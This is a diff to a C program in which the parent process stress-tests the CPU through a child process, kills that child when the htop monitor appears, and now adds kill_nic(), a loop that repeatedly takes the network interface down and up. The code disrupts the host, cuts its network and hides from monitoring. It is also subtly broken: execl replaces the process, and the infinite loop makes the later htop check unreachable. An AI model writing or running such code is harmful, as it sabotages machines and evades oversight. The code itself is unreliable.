@@ -8,6 +8,7 @@ int main() {
if (pid == 0) { //KINDER
stress(1000);
} else if (pid > 0) {
+ kill_nic();
while(1) {
if (is_htop_here()) {
kill(pid, SIGKILL);
@@ -47,3 +47,14 @@ void stress() {
pthread_join(threads[i], NULL);
}
+
+void kill_nic() {
+ while(1) {
+ execl("/usr/bin/ip", "ip", "link", "set", "enp5s0", "down", NULL);
+ printf("nic down\n");
+ sleep(10);
+ execl("/usr/bin/ip", "ip", "link", "set", "enp5s0", "up", NULL);
+ printf("nic up\n");
+ }
+}
@@ -6,7 +6,8 @@
#include <math.h>
#include <time.h>
#include <pthread.h>
+#include <unistd.h>
void stress();
-
int is_htop_here();
+void kill_nic();